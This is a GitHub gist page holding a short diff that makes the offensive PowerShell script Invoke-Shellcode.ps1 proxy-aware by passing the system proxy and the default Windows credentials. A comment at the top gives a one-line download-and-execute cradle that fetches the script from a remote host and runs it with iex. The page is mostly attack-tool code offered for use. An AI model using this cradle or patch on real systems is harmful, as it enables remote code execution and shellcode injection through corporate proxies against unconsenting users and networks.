-
-
Save eniac888/90a711e006c2ce7dcaed6c279a82d8c7 to your computer and use it in GitHub Desktop.
Invoke-Shellcode proxy-aware
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# apply to Invoke-Shellcode.ps1 | |
# invoke with: | |
# PS > $wc = New-Object Net.WebClient ; $wc.UseDefaultCredentials = $true; $wc.Proxy.Credentials = $wc.Credentials ; iex $wc.DownloadString("http://host/Invoke-Shellcode.ps1") | |
596,599c596 | |
< | |
< $proxy = [System.Net.WebRequest]::GetSystemWebProxy() | |
< $proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials | |
< | |
--- | |
> | |
602d598 | |
< $WebClient.proxy = $proxy | |
< $WebClient.UseDefaultCredentials = $true |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment